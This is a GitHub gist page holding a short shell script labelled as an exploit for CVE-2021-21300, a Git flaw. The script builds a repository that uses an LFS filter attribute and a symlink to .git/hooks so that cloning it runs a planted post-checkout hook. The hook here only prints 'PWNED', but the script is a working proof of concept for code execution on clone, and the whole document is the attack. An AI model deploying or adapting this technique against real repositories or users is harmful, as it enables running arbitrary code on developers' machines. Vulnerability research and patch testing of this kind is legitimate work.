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juliosmelo/CVE-2021-21300-exploit

Created March 11, 2021 17:57
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  1. juliosmelo created this gist Mar 11, 2021.
    19 changes: 19 additions & 0 deletions CVE-2021-21300-exploit
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,19 @@
    #!/bin/sh

    git init delayed-checkout &&
    (
    cd delayed-checkout &&
    echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
    >.gitattributes &&
    mkdir A &&
    printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
    chmod +x A/post-checkout &&
    >A/a &&
    >A/b &&
    git add -A &&
    rm -rf A &&
    ln -s .git/hooks a &&
    git add a &&
    git commit -m initial
    ) &&
    git clone delayed-checkout cloned